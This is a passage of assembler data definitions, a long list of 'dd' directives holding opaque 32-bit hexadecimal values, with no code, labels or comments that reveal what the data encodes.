6E0100FCh, 33EBFDBFh, 0DCF84042h, 1518CD4Ch, 24CCC216h dd 9C046C47h, 1CC804D6h, 84505435h, 813200CEh, 0FA621833h dd 96191CD6h, 0D2991ADh, 68254F8h, 3558D2C9h, 2B0CD811h dd 0F0B49E8Eh, 0D67900E9h, 0CF44C9A6h, 8B1F3B9h, 64A49202h dd 0D4FB83F4h, 0D7248808h, 3BFF01BFh, 0CD02327Ah, 4E5820FDh dd 54736900h, 8DCCEC23h, 2C4418C2h, 33E478EEh, 52AD3A02h dd 40F25012h, 31EB9D7Ch, 2080CF8Ah, 97D5CC5Ch, 0FCD12604h dd 0F444B1E5h, 78A4908Fh, 50F4CBEBh, 808DF339h, 0E3A2B504h dd 1ACF26E9h, 58E6F530h, 8E1E6881h, 9CA30060h, 0DBF330AFh dd 4C3BCC51h, 12068A7Dh, 42ED67C9h, 21B26008h, 34C169Ah dd 8EA67F0Eh, 68C801ACh, 603047ECh, 0C4048CD8h, 0C1277428h dd 411E8CCEh, 270842BCh, 689E16h, 795AAEE9h, 883A2C12h dd 0AD075323h, 8C2B921Eh, 243CE08Eh, 83BC62D3h, 61CF94D7h dd 0AD8C3009h, 0C000127Fh, 3CBFD9E8h, 26706F49h, 945043E7h dd 0D30030F5h, 0E2BAB27h, 0B7002973h, 3D2ABDBBh, 1EAE7CDh dd 5341FAB9h, 40F77D5Ah, 33D801F8h, 0CE18047Dh, 5480CB3Ch dd 0B24B01B7h, 9801D687h, 0DC06076Ah, 246B0089h, 8D6754C6h dd 0A2F029F0h, 0D0ACBAF8h, 834C3804h, 0B3626A54h, 4C0F2D20h dd 0CDC500ECh, 55FECB22h, 1500EA25h, 745A19CEh, 4C167629h dd 2E77582Ch, 4F07302h, 8EF76C4Bh, 0C5B3C808h, 43E5C087h dd 0FB061C44h, 0A82ED348h, 77D82858h, 90405C4h, 0D2B1D649h dd 85309E00h, 921F111Ah, 90968AB7h, 0B2205B98h, 2ED215C1h dd 10929884h, 8C0CB4C0h, 0DE31FBA4h, 7E1C4D1Dh, 0A71D6440h dd 0B3EC1Fh, 0E6FB88D9h, 2D77843h, 89C49303h, 0E86386AEh dd 2D83276h, 0B24A6F94h, 94826B74h, 4C41DC0Eh, 1029F2h dd 9DF871Eh, 0B406245h, 0E4A3804Ch, 14619402h, 18981858h dd 4A86754h, 0A1CED912h, 2BFF4000h, 582780h, 6E3B674Fh dd 0E62AB085h, 7E95C313h, 0C0159848h, 0D2ACC148h, 98650721h dd 9E942145h, 0AC06C101h, 53582D48h, 308E87F4h, 0CFB8D9E2h dd 92F02C1Dh, 30A5D67Eh, 0AA6042E4h, 0F3079666h, 5125529Dh dd 604738B2h, 68BDA84h, 39A28E29h, 30147056h, 28462ADh dd 3A25101Fh, 46346487h, 4C767DBCh, 0DE31D2FBh, 4C119B10h dd 0A5C5D417h, 86EAE004h, 0B485F504h, 0F8A0FDDCh, 0FCA8EEC7h dd 60053DFh, 6EAAFC89h, 967FB3Ch, 6B2710CBh, 9C521E80h dd 611BDE8Dh, 0A47103F9h, 556B8081h, 298E1180h, 0FCD48448h dd 0DC3E7624h, 90250F09h, 0D352F698h, 0E2CA0081h, 0EE495B28h dd 7A00B7E4h, 2A6AE190h, 0EC397B3h, 0D1283FCBh, 988A6BE4h dd 1A088978h, 0C4D7923Bh, 81BF40FEh, 791B1Ah, 4CDF2878h dd 5FB6198Ch, 7898E8B0h, 0D7F03090h, 48702359h, 8CD9EC14h dd 297BDA00h, 8017F510h, 1F3F820h, 0AD50B351h, 803EE8AEh dd 0A0EC7561h, 1D26C9A7h, 7B785EB4h, 0C5F69384h, 0D4B4A083h dd 48C925Dh, 812CCE59h, 0E3DEFC90h, 622FF8D3h, 6A95C026h dd 0B7EAD4E4h, 0CA85188h, 5F961E8Bh, 0F03E6D38h, 298A8201h dd 0A0CA244Dh, 0E20955FCh, 8D68C051h, 960CFBBEh, 0C19280C1h dd 0C6CC5A83h, 4120DF4Ah, 0BC51DEB7h, 11204E23h, 0F3850BDCh dd 83CD0A8h, 9F03FA72h, 0D467D1Eh, 0B82C8366h, 28CEF21Fh dd 4C708604h, 2BC68B3h, 29006B43h, 20ABA056h, 1025D088h dd 0F0600CE4h, 5DE816CFh, 4E4809C5h, 7BC418C5h, 73BAA60h dd 15689B01h, 7B16A3BBh, 47EEAD0h, 0E8D25847h, 4ED492D1h dd 78716859h, 4800C918h, 834B239Bh, 935FADFh, 3E1E1AC3h dd 19A20487h, 4262E8C7h, 195B186Ch, 0A84A1101h, 0BED95493h dd 8C00443Ch, 1AC539F0h, 564B6C5Ah, 51711822h, 6D3F7034h dd 3FD7286h, 82F484CCh, 8194CBB8h, 72F1B550h, 0E13A10C0h dd 5064702Bh dd 0F9008BC8h, 8D74AA7Dh, 7DA33EFFh, 50EAF66Dh, 8C112CCEh dd 0C0C17405h, 5C28A7D2h, 0C18A00A8h, 766E5363h, 0D80399FEh dd 58D02A15h, 0E8038D01h, 44DE8ADh, 810D231h, 0C718C2FAh dd 0A30090C4h, 0DBCBCAF0h, 0ECDF9ABCh, 55D40040h, 0FC7CE0C1h dd 0E0A06C94h, 1C24C510h, 30407488h, 0EEBA36h, 60819BD6h dd 0BBF5CDD7h, 2B9138h, 5038404Bh, 8BAB4Eh, 0C054C5F0h dd 258DCD1h, 0BF377700h, 52CFCCC9h, 0FDDA009Dh, 0B74216D2h dd 5C038485h, 0CB194749h, 0AC34A06Dh, 0B90100F2h, 2D23DA64h dd 0CA7C84F0h, 8001A2F4h, 0FE553981h, 0DA2C35A6h, 9E87EE00h dd 0FE28D5Ch, 0C1A53F00h, 227C2354h, 0D2B00048h, 478569E9h dd 3000C537h, 41AFF5B1h, 89C080h, 28C3A7Ch, 9B090534h dd 536E2C0Fh, 0EC1B005Eh, 1A84581h, 0EF104868h, 0E0D461B9h dd 0AE1F1F42h, 0D7006DD2h, 34A9F9D1h, 89055h, 63566E2Dh dd 95990546h, 0C55050C0h, 0F554589h, 40371661h, 9CB57900h dd 0EF3C12B9h, 4891032Ch, 0C0B42FAAh, 393534F6h, 40E0E105h dd 0A2A76F8Eh, 0AF3EED06h, 0D91F0Fh, 0EAF9C836h, 3B245E07h dd 86F0E00h, 0FB7FE86Ah, 0B83A5AAFh, 5DAA00C2h, 0C54AEA97h dd 6C6E697Dh, 38E70783h, 0B701C97Ch, 28B86C7Eh, 618F2321h dd 3607ACBh, 0F10FC4EDh, 77936B1Eh, 9D978F40h, 1868D663h dd 316D59C8h, 32005F74h, 0A66544F3h, 47B1A2h, 6A8A22D9h dd 7260BC8Ch, 1FABDB02h, 0C02E2946h, 1485C1h, 0D049B69Dh dd 16BBB967h, 0CDFBE31Dh, 6DA1BC40h, 7471C41Ah, 0B60E306Fh dd 0CE83D920h, 0A28B1000h, 0CFC4BD26h, 0D1E513ACh, 19A900ECh dd 82CAA77h, 0C81C31C6h, 3B431E08h, 48958099h, 401DA278h dd 8FCDB500h, 2B1FADC6h, 0EC6800ACh, 94D1FD65h, 0A0DFDB9Ch dd 10400E5Bh, 0C0CF42A8h, 0A136CE02h, 3C808C99h, 0CE018AFAh dd 10F13E4Ah, 99ED43D2h, 854088B1h, 4D298007h, 0F1258895h dd 0F9F00E7h, 4C1DA63Eh, 700172Bh, 28BE83E1h, 7574669h dd 0A7151B14h, 0B94D1339h, 0B7DE4280h, 40589903h, 1AB37Bh dd 6ACDF661h, 51C8E645h, 0F72D9019h, 21B81708h, 5DCED202h dd 2DC157DBh, 0AACBCC07h, 801A833Dh, 0A7331477h, 3A42182Dh dd 7860CD37h, 28026F26h, 52693100h, 0FF2CB8F8h, 34951EFAh dd 0CEA9805Ah, 1771FD60h, 0A6224F00h, 7BA1F006h, 0D25A0185h dd 0C44D8E2h, 4F2AF4BEh, 41DA2E00h, 0D7C5AF0Fh, 0C7641DEAh dd 0AA894028h, 0E56E8DB6h, 2223AD01h, 997A3991h, 7357C2D4h dd 936C1F0Bh, 40F95DD4h, 5C908552h, 5E001CABh, 0B244725Ah dd 3CDF91h, 82CCE381h, 0A4C4DE6h, 93ABB800h, 0F1661DB6h dd 0A25F00F5h, 0FE87CDC5h, 9000168h, 4DF3605Dh, 847E47h dd 31E8E2C4h, 0B39BA78Fh, 91B60400h, 646D87DCh, 219900C5h dd 206C5283h, 1300D7ACh, 4C461259h, 2FA415h, 0DE582AD9h dd 0F049D860h, 0BAB8EF00h, 374B437Bh, 0B693E4Ah, 0D1DBEA00h dd 2345FD1Fh, 0C9293Eh, 57983759h, 73A1941h, 0CE36E6ABh dd 0A62AAFC8h, 697900EAh, 141ABF78h, 7EAEB700h, 148C8DFh dd 0A27B0E43h, 4A406061h, 0F20FBE5Eh, 69573E00h, 7044B1CEh dd 0CFD90056h, 404D0137h, 53F86E80h, 39D3F4Ch, 0B4A82A61h dd 0A0F5E0E0h, 0AD260033h, 0FC8489C8h, 4F00E6ACh, 8C68FFB8h dd 0CC5D58h, 0BFB71726h, 0DB3E31F6h, 0B8BA1018h, 797F10h dd 59C6B4Ch, 0E4F0428Fh, 57258000h, 0C2F609A2h, 66F40079h dd 6A9C4988h, 0A01EFADh, 566F3168h, 8CD427F5h, 3E6E00C7h dd 0ADD473B5h, 7900DD30h, 0B419AF4Dh, 4F1A54h, 2E9872F9h dd 8EE774BFh, 0BA7C8401h, 0B2046524h, 0DBA940E2h, 0D0165538h dd 1E5EFF4h, 0A8FF17Fh, 0F428B6BBh, 64711809h, 3DA3AC00h dd 0B2C48988h, 745F6B7h, 975975F3h, 9E675ED8h, 20B980B1h dd 0F0007CB4h, 0EE9F82C2h, 0F0F944ADh, 2CBA039Ch, 600E216Bh dd 7711C3B0h, 8C331609h, 0A08B6322h, 90A9CFh, 7251E239h dd 0A1190630h, 3BF2BE38h, 77848010h, 71EB8F4Ah, 99E14C94h dd 2EBDC301h, 0E84047F5h, 5550A14Dh, 40977ECh, 5FBA8Dh dd 71924859h, 845B00D1h, 270BC5B3h, 0E71E281Bh, 70C1DE02h dd 75426C9Fh, 8B98CCh, 0C15A9B25h, 3660BD0Fh, 0D6D020C0h dd 3FBCD1h, 99A25E56h, 0A4B27385h, 0EEFB1B03h, 0D0136569h dd 87A64Dh, 63AD786h, 0A9625B93h, 3F25F000h, 0DD0A65DEh dd 680C00B9h, 49D344ABh, 940081CFh, 48FC3BBBh, 0A5C454h dd 0F8264143h, 8F1EB50Dh, 1AD41550h, 9ECF3100h, 2CC2AEA9h dd 6E6F00E5h, 0C9F02194h, 0D41EDBBAh, 5F1D8AC6h, 271A9C00h dd 952BA9h, 42EEC7Ch, 198EF244h, 0C309EE01h, 18E1A8A2h dd 0E0B69943h, 14239931h, 0FC63FD55h, 0D8B7C100h, 0B550D720h dd 9278C200h, 0EDD6F67Bh, 0DED105A8h, 0C038849Fh, 0EB341E0Fh dd 23D0C400h, 0EE1A39F4h, 196500E2h, 0B383765Dh, 7327F7E1h dd 1955EDAh, 273237C7h, 0C0168012h, 9BCF7966h, 72E10093h dd 0D217F24Bh, 0EA0051A9h, 8D11DDDCh, 24A427h, 0B6531FB0h dd 0CD0151Ch, 9F9C9703h, 0F0EE31h, 703F0568h, 1FB8564h dd 1607F3E8h, 0A6333635h, 506355F0h, 0EFE000F0h, 0F19BFE1Ah dd 3204DAACh, 41A839D0h, 22380080h, 0E9730061h, 6608486Fh dd 471E0F94h, 0EF402963h, 993CB357h, 0FFCE074h, 0A72D4E0Ah dd 8734F3E0h, 9500DD25h, 0B38297CDh, 716627B1h, 0DBC600B0h dd 0FF2FD4E8h, 0D0985ACFh, 3EAA5800h, 90441A88h, 0B77C0096h dd 0A8A64920h, 0BE00989Fh, 5CF3E538h, 18529AEBh, 50218C1Fh dd 8D383A44h, 886802Bh, 55AF51D6h, 6EF32637h, 0F82D0093h dd 68BAB748h, 2B00B174h, 45D804F5h, 0E8D29F6Dh, 3B9DF497h dd 3FF3FB80h, 0B0B05E01h, 86AD7899h, 0D30E4275h, 5F774594h dd 0C2F7F080h, 239F3h, 0ADCB61A5h, 402E7018h, 0E76FAA1Eh dd 0D4C56E40h, 1CF353CEh, 0D30729C7h, 7B040042h, 314FCAA5h dd 6213F700h, 0CB0B4388h, 27EB0067h, 8E56D0DBh, 0E107C1E4h dd 75E7AC4Dh, 99EE6910h, 0C0780139h, 0D837B9FEh, 12A06042h dd 0E0174A07h, 61B07CC6h, 0A27055h, 26739A7Ah, 0A8C51DCBh dd 40DA4E30h, 767F379h, 0DEF401BDh, 0BC44C03Fh, 5FC68D8h dd 0C21AB900h, 5A599A4Dh, 0EB10023h, 8068AD9h, 0D40E97C8h dd 0A0EBE1DBh, 93532D1Ah, 2C6FC3Fh, 0E77C860Fh, 0DE414F59h dd 770824EFh, 8BF0023Dh, 0E9A949h, 95ED1857h, 6E9800BCh dd 0F6023F37h, 7224AAE3h, 803BD85Ch, 0C48CE5DDh, 7722065Dh dd 6879004Fh, 0F77FFC0h, 0C9304E9Fh, 0C572A08Bh, 0F1CF00B7h dd 0B167EFCh, 21B7D8Dh, 0C3208120h, 0DD101D95h, 7578E01Bh dd 49B09400h, 0C2885540h, 66CF01DBh, 0E9B242B9h, 0D27AE0C3h dd 28A20A00h, 57B51D10h, 9DC60066h, 5A54EDD0h, 2C16B6E1h dd 300763A3h, 7C70F959h, 0C2711856h, 4CF39188h, 34982048h dd 0C5552E00h, 0EF750FDDh, 9AC00056h, 0DBB0EC11h, 14011321h dd 81E2E87Dh, 15D0D0EEh, 5873005Ch, 5BF86F9Dh, 18000AB9h dd 87ED7AAAh, 0FF6DD93h, 0EF97138h, 26E88040h, 979E251h dd 2FC2840Eh, 2B415D28h, 59A75C2Ch, 0D1208882h, 58C005F6h dd 74001EA1h, 856B4926h, 184CEEC8h, 0D08880F0h, 1D1DA05Ah dd 7880CF99h, 0F6E171B0h, 0B50F885Dh, 0D111D20Ah, 4E8080CCh dd 0C0067E2Eh, 0EF0D0023h, 0FCDF7309h, 57009F60h, 1D04A18h dd 0ADE83Ch, 0D970DB1Fh dd 2804CFC9h, 0A42DD305h, 0E85E73A9h, 7F4DFE04h, 68B8A2C0h dd 0E2260320h, 0CD9691DFh, 2DC57112h, 60ED6D01h, 0F020AA02h dd 7A790F14h, 0F3602BAEh, 0D9A77DB6h, 6DD17460h, 1DA3C4Dh dd 9432CF91h, 0DC642228h, 0D4A427E1h, 187A6531h, 0F4D06EE8h dd 2AF27ACFh, 0E7A0B375h, 0F685F4h, 7CB9B59Eh, 486C3670h dd 1EDA5F03h, 26659629h, 735829h, 3561970h, 54008538h dd 0BC046BDBh, 3C91B941h, 0A483D29Ah, 0E810FDA0h, 0DD78C3h dd 9DAC0B70h, 8E009231h, 0BCA5B68Fh, 7A71BD6Fh, 8BA30090h dd 0CC4341CFh, 3E749FB9h, 0A046F42Ah, 0DA050800h, 0C3482585h dd 62A2773Dh, 0E481595Bh, 46BC88A0h, 5800645Fh, 95547849h dd 0B85237h, 0DF7B517Fh, 2384A4A1h, 345AB315h, 0B7020090h dd 88357D49h, 0FBF90155h, 75562838h, 3B6CD0D8h, 276EDF00h dd 5EBFD09Ah, 0B0040125h, 0AB8CA493h, 0FEB450F9h, 0C0042773h dd 10B75DE7h, 0EEEC508Ch, 2FF640h, 19F2206Ah, 0C33ADF30h dd 4D31E702h, 20E076B9h, 0FF74C0B3h, 179ACD05h, 54C32C91h dd 72A2807Ah, 298A6082h, 0A111DCB6h, 81C55301h, 36F2E18Ch dd 6496D18Ah, 0A779808Ch, 0C9F1FEB7h, 87711000h, 587DCFB0h dd 0BAF40014h, 67700AA9h, 363B6D04h, 0F1A303B9h, 45DEA689h dd 5C207069h, 0A7E3022Dh, 0A6F1A0EDh, 0D66FD540h, 0AB06B50Ah dd 4080D476h, 4C4E4797h, 0FDF9030Ch, 0DF777FD9h, 2D145100h dd 4A34297Bh, 58A11631h, 1E750209h, 98A0A85Ch, 2CFFE1AAh dd 5DEE91E2h, 0F87F3200h, 0C8E588EBh, 9960065Ah, 5EC0D1E0h dd 83E8EE0Ch, 0B261B6h, 866B16A6h, 53FD9927h, 84014298h dd 2805013Fh, 0D3F1E4AEh, 4C9A8820h, 0B960CF16h, 92AD613Fh dd 818E4913h, 0AAC61820h, 5BF5031Fh, 0EC823867h, 83DA193Fh dd 0F183BA5Fh, 2DFCE933h, 2B049423h, 80C47D80h, 26E485E3h dd 9220FC12h, 0CE575827h, 3031EB30h, 0F412009Eh, 0B46605FDh dd 0EA3A0DD7h, 3A1F0090h, 92B9C1CCh, 2F39C0BFh, 41D3BD74h dd 6646D72Ch, 0A8409000h, 22E482Ch, 911A9CEh, 0B8908B07h dd 0CA1CB401h, 0F700D2BEh, 2AFD87B2h, 5BF308ABh, 0EA025A32h dd 4067854Fh, 11740Ah, 0ADBC3C2Bh, 26270EB4h, 65F3FB00h dd 8EB91FBAh, 0C7A20023h, 0FE0CAD0Fh, 0EE48596Ch, 0BA5A8038h dd 2FD265Ch, 0F11C4DDBh, 0B8407161h, 93300AD8h, 4CC62958h dd 0A7C30EB4h, 0C78081BAh, 0CCE0F6DBh, 0C8A0F12Ah, 50B6A126h dd 1CB3D740h, 0F3B50310h, 87826AA7h, 90B7170h, 4FB69Dh dd 856406E0h, 10713B69h, 0D01107F8h, 0F0C0A117h, 0F30426C9h dd 48BA433Dh, 0B8C30000h, 18205878h, 10491ABh, 0C6CA44Eh dd 0E082C45Fh, 84D42989h, 4980006Fh, 621FFA8Ch, 9100BD10h dd 0DBB2A903h, 2417AE36h, 4398DEABh, 57A0BD89h, 0DB005D1Dh dd 4BD04593h, 3F861E3h, 5B7D3B42h, 79504806h, 922CBA93h dd 64024473h, 2065969Eh, 1AED048Ch, 0C300E0E2h, 0E82CECEEh dd 2AEA4CCEh, 80E45C0Ch, 0EAD271B4h, 761C12F1h, 433827DEh dd 6909470Bh, 908490F6h, 757424h, 0C3A75D18h, 106D67E3h dd 1383Ah, 484FC7BDh, 14D76E0Ch, 0C8D8A19Bh, 66358981h dd 946292h, 0D77682AFh, 744CB7h, 8D09DD4Bh, 0CB796FF3h dd 0E7D33Bh, 356DEE9Eh, 1895B5FEh, 0B95B0CE0h, 6C2611B0h dd 0B5605C70h, 149B20FEh, 0DC506669h, 6B436D01h, 0D5D422DAh dd 1FCC4881h, 9E01E97Fh, 0B67F8E8Ch, 29D811FAh, 0C8750053h dd 0ACBBF3B3h, 0F230EDCCh, 0CB72D83Ah, 53135892h, 36BF2801h dd 86E5DFADh, 5EC5E151h, 95A00699h, 815B6AF9h, 25E80F06h dd 212F01h, 0AFD506E6h, 6C4A1A77h, 287BA100h, 9AF644D2h dd 82461887h, 0D48059EDh, 3C2C2D00h, 0BE7FCBB9h, 0E85F09FFh dd 0F40BF0CAh, 0A0D0F008h, 17AA26E0h, 67D36088h, 0CC00CDC6h dd 21073668h, 1F19451h, 4A4CA5E3h, 20143F99h, 74027678h dd 1FA7227Ah, 0B1244075h, 0E7AD2A5Ch, 5184370h, 0A98ACB1Ah dd 0BC2024C5h, 1C65DB1Eh, 0C0087102h, 0DC6FF41Ch, 55014563h dd 4325DA04h, 2822F35Bh, 0A4F07F00h, 0D393FF87h, 424BE0A8h dd 46B05D00h, 4F972229h, 62902Dh, 1F6511A5h, 1891A8DAh dd 0A6195B3Fh, 0D3430C96h, 3F25C823h, 6CD400FAh, 70242FC3h dd 99440A29h, 74B506D2h, 0C9587AE1h, 2E106B4Ch, 7D1C381Dh dd 95193018h, 50CC006Ah, 7E5CDD29h, 0E1186910h, 84213F20h dd 3F79DEE5h, 6633D203h, 0A7B0D628h, 0A501DFAAh, 8C98651Eh dd 2987E181h, 30CC1B7Bh, 4253DADDh, 8B55E500h, 0EEF76AC9h dd 0BAF202FDh, 0F4E1023Ah, 0DA0FB490h, 1D209905h, 640F085Bh dd 7BA067BFh, 121C7390h, 6D65240Fh, 0D8B384Ch, 0EC853387h dd 7B7480AAh, 9E0469E1h, 92D429E5h, 1DF49488h, 8066B1A8h dd 0ACB73103h, 9350F1E4h, 63B5310h, 0F221D91h, 0AA7BDF83h dd 4C817AA1h, 4F3EC02Fh, 0C5F80077h, 4374151Eh, 0AA58F6CEh dd 0ABB980E8h, 0BEA3A1h, 0C4A28C9Fh, 0D1E18741h, 286F7900h dd 0BA6A88F4h, 24DBE40Dh, 0A3C9E91h, 0C81EEEh, 0A4BC74B4h dd 0EA3DF426h, 0BC01AE2Bh, 0E8D07A41h, 48D40220h, 9301448Eh dd 3F5EA1FBh, 95842079h, 421DBD01h, 0B376127Fh, 0DA006832h dd 923E3D24h, 8F30336Dh, 79619C0h, 0DF4C00F7h, 0D8C2FFCBh dd 8E0EC669h, 409A3E08h, 0F0EFC1BBh, 3EF5FA78h, 1A042C40h dd 0A4AB7A76h, 0AA3E3DD4h, 0C37FAC23h, 0B82AA500h, 0EE58D6FBh dd 5678046Ch, 0CCE12549h, 0E024B260h, 0A0024C9Ah, 90692210h dd 50ED80E4h, 0C7889Bh, 85B81F20h, 842B89FBh, 95902707h dd 8112558Eh, 0A83048E2h, 30893866h, 0E98086BEh, 0EEDBD99Fh dd 0F1051021h, 18BF2CEh, 9CB08000h, 1AA34F4h, 0F547DEA4h dd 32AB193Ch, 0E34E0424h, 20C04AF7h, 0CCE0420h, 0B12C2D5h dd 0F14CB280h, 98F2113Ch, 6EBCF60Ch, 0EF020BB9h, 0B42AA8D1h dd 0A0D84363h, 98D76E3h, 82377C5Dh, 4958810h, 717FC10Eh dd 0B1C280FCh, 3233F5h, 7EABCD14h, 67438DC5h, 79171217h dd 5A138904h, 9419C0C0h, 296B2CA4h, 0DCAB0B00h, 0CA429C20h dd 0F912125Eh, 0F6006DF1h, 0A5E863D6h, 0FBF60199h, 7D16BC79h dd 6B94D0A1h, 77195314h, 0D06D80A0h, 0E9EAE15h, 1AD19534h dd 998BCA80h, 0F1F69A71h, 0B2EC20E1h, 5B413F04h, 7201465Eh dd 287A44C2h, 78138078h, 2531F35h, 6C28B22Ah, 784004B4h dd 6D25DAD1h, 7FF027EFh, 770E4BC0h, 3B7EBEh, 78FB1357h dd 58AA64A8h, 63C2A58h, 0E652AD33h, 27E126A9h, 0E7A34010h dd 4C4BF9C6h, 616F6420h, 2ECF00AFh, 0D182FC6Bh, 211B0E71h dd 0C2C0DD35h, 91F8C141h, 9C3C20h, 0E7AE61F0h, 5CAFA182h dd 1903FCB1h, 5E962Ah, 0F9566111h, 0D9CE6445h, 0B075B507h dd 1C57BB3h, 0F5A1FC00h, 0B86719BFh, 6F743290h, 9CE06308h dd 0F60018AAh, 8ECFF412h, 1E67F034h, 42B019h, 0B5D43C1Eh dd 2126E170h, 0B2617C39h, 40818C9Dh, 0DFA0FEBDh, 0E5872F2h dd 0F4200FD9h, 0C68B0708h, 7AC02FC1h, 4679EFDh, 0E80EFF08h dd 36BCA476h, 2ABA7900h, 0B51B1478h, 1FF90007h, 0DAF53B1Ch dd 0D10EAD83h, 8F2864A6h, 0D30D3DF7h, 542008C5h, 0AAEB008Ch dd 0D29B13B3h, 19018DA2h, 10B90F79h, 12DC62B4h, 41F076Bh dd 0FE8B6DB1h, 53848A61h, 8881A26Eh, 0DB1AB400h, 27769DB5h dd 6FF73C74h, 128B5780h, 0B80DDE79h, 0ED2CA802h, 208E5C13h dd 873B7AFEh, 535B5009h dd 65C00267h, 797D2147h, 38B0C995h, 35EF189Ch, 55ED39h dd 32A6CC25h, 7A8608A5h, 0F2AFDB01h, 6C7CF0F4h, 44F19E0h dd 0EF9CE83Ch, 1B084034h, 387791D7h, 2901527Eh, 0C625D2D0h dd 0C4E440B4h, 1E015ACAh, 87B5E90Dh, 14246296h, 0CC763FC8h dd 51211AEh, 0C3485326h, 84D4E17Fh, 2955C01Ch, 0C17DCC39h dd 3E0ABE02h, 8182DF84h, 0C9659CB4h, 7115C30h, 0E81FF51Eh dd 0F3795099h, 440184D3h, 0BE62F292h, 45D0914Eh, 5BFD2906h dd 76860794h, 49D9E0DEh, 8927B75Eh, 707890DAh, 0A9DD6F84h dd 0BA8BF300h, 0B300AB42h, 0D7141C10h, 0B1F45B62h, 0EA1800B4h dd 0DBF0A1D1h, 0BEA4960Fh, 6001B639h, 0B1F228C4h, 44C2F825h dd 437A00E8h, 77D794Ah, 0AD0BF964h, 1B13F3Dh, 0FDE5376Eh dd 27A4DAC4h, 201215CBh, 78A10480h, 7900860Bh, 9ACB23DDh dd 0C0DBF24Ch, 913AB2CEh, 40B9F6E1h, 4EC2BBh, 0C58E4ED0h dd 3A00E07Fh, 0F570A5D4h, 986CBC75h, 0DE1C8118h, 60C40E0h dd 0A19DF06Eh, 7FE6B9C2h, 92F21113h, 0EDE3B8D0h, 86C00073h dd 370F32DFh, 0B603BDA5h, 6E8AE83Eh, 4036FA2Ah, 0BF21320h dd 9A07CC19h, 783CB49Bh, 0B12980D1h, 77ADA458h, 7F3E2537h dd 16969890h, 0BF543305h, 7CC21945h, 4F392034h, 0DA00A9ACh dd 0FD6D6E09h, 79AA1387h, 7CF80310h, 68AB916Bh, 0BEAD4900h dd 0A7C6A2FCh, 9FAE0050h, 36F59019h, 470005CCh, 0FE5AA5D1h dd 0B9E3CFh, 87AD5263h, 9D08A084h, 0EF581000h, 0D9D67D66h dd 1C772E6h, 0D3A9BC77h, 804D901Eh, 11E34430h, 2905E1h dd 0A9C466DFh, 14B97D51h, 65FB0D00h, 70A8AADDh, 1880632h dd 38452B55h, 5F00647Eh, 0D372E914h, 0C0D474AAh, 150E4340h dd 0FA32B3D1h, 805228ABh, 2B4612A1h, 0A1690076h, 63F573B2h dd 0EEE85E30h, 0F2298D61h, 999D4F65h, 8074DF25h, 0E6CD90BBh dd 3900C06Ch, 5D60C610h, 333D95Eh, 5B4A9DD8h, 400B482Ch dd 0D65ADh, 0C099E090h, 61C830FDh, 8F396951h, 53319307h dd 0E9A3D534h, 0A0E7E3E6h, 26015Fh, 0E3EE6F40h, 69D6C52Fh dd 0D28D5405h, 5001FAB2h, 22E030C2h, 7888F0E7h, 0CBD30D84h dd 0FC21F811h, 0C10349BDh, 0C2347E76h, 10BED8B3h, 54170019h dd 2547D1B1h, 4260E538h, 0A27A97B1h, 0D6BD002Ah, 0DB1BB791h dd 4715B25Ah, 1B446CEh, 0B4181488h, 984001D4h, 6047F863h dd 5B64D96Ah, 54B058C2h, 0D2DB5480h, 0FDD4B70Ah, 6A4080C9h dd 3147D554h, 0FA396FCFh, 0F3181AAh, 0A3CBEA59h, 702E2620h dd 0B7FC0032h, 897B6DEEh, 149041CDh, 9300E884h, 0BA235B40h dd 1CE9AE6Fh, 0C00E48EAh, 0C7F01DCDh, 1A00C3D8h, 315D2B88h dd 92B4E4B0h, 0AD154C50h, 5519A03h, 74E09F28h, 493B3D53h dd 698C81F9h, 0BB2D5888h, 0F55D3182h, 0CC80C78Bh, 1B8AEF11h dd 4F20090Eh, 0DDF02088h, 0E676245h, 66CF3AD2h, 2BD7809Fh dd 0E1CE41D4h, 0B78C5750h, 3EEAA88h, 731AACFCh, 90AC8F2Bh dd 18210D64h, 0AA00A8F2h, 0B2419C26h, 0BBEED79h, 15E28182h dd 766585h, 39DAFB89h, 41542B7Ch, 0D007F8A4h, 6FEF01Fh dd 6E2C23h, 89D79B19h, 0AA254A84h, 0E317D000h, 0EE881BFCh dd 0BFB70540h, 504E90FDh, 0C302A4D0h, 7A5B1D7Eh, 0B2076846h dd 0F17CD20Bh, 25EDFE30h, 0A7D914FAh, 6C03B030h, 0F42F1582h dd 4E8C46F8h, 81DC5BF4h, 0C2800F40h, 1E821B4h, 0B7CE2CBDh dd 0C44B0E9Bh, 0A055B31h, 1CFB9C5Dh, 82DC9040h, 7DB605FFh dd 6C0D0015h, 6655EFD7h, 0FE00F432h, 841F7E11h, 7E3ED8Ch dd 0C29F79E4h, 40AA65C1h, 85EEFD8h, 0A97EF32Eh, 21A41800h dd 91FC76B6h, 81A51C92h, 0AB4E4C9h, 2CDC2269h, 0E42C050Dh dd 4F8848AEh, 0D540C49Ch, 0C2DD3105h, 24BC0547h, 202B0268h dd 0BDA265B0h, 9EC74313h, 0D27CE300h, 60FA726Ch, 3DD1D187h dd 0E9009DA2h, 609EF319h, 48A1BCD7h, 8B09A403h, 41866CDh dd 0C9001F4Ah, 8C7AAE98h, 7A639597h, 0D2400017h, 0A4A665D8h dd 1E3BC35Eh, 130E80DAh, 0EA4ECFE0h, 598D2601h, 0C5890190h dd 30E8C2DBh, 0C4028C74h, 0CB2A5F22h, 8E2CE03Dh, 128900A7h dd 0A588F07h, 68602BF6h, 0C41981D1h, 37181D55h, 3E9D84D2h dd 0C2088308h, 7AD80CF5h, 0D505ADD9h, 0BFE3D4BCh, 0E459BC40h dd 303ECD82h, 6851622Ah, 800F8848h, 0E1241A3Dh, 67BC20F1h dd 0D5C8C03Eh, 611E0A6Fh, 93877268h, 6E13B5Fh, 0F041B78Eh dd 3371CE1Ah, 0D53820h, 7D3FE302h, 1920E3Dh, 0ECF68C08h dd 47AA84C5h, 0EB48C869h, 9B5DB607h, 0B710118Bh, 0B16CDCF5h dd 76B40338h, 98E3C9DDh, 40CC47B9h, 0B66DEA1Ch, 0C8966C2Ah dd 10075B1Bh, 3A4BEBF1h, 0E9801929h, 1FD8AF75h, 890495A9h dd 0FB830414h, 347C4C8h, 93B0FA4h, 0FDE94D96h, 28433C7h dd 7847B72Eh, 4FC2203Ch, 0CC0048CFh, 1E3E2B7Eh, 903BD297h dd 0D7E600B0h, 58C813BEh, 47181F4Bh, 0DDA1F075h, 70341F33h dd 48C4046Fh, 8140C4F4h, 60D6017Ch, 7A00E430h, 0CB1672BDh dd 286E5812h, 0C78E247h, 0F5C3F27Dh, 6F1AC411h, 18F1462Ch dd 1B8D2D14h, 0E119FABEh, 7E935380h, 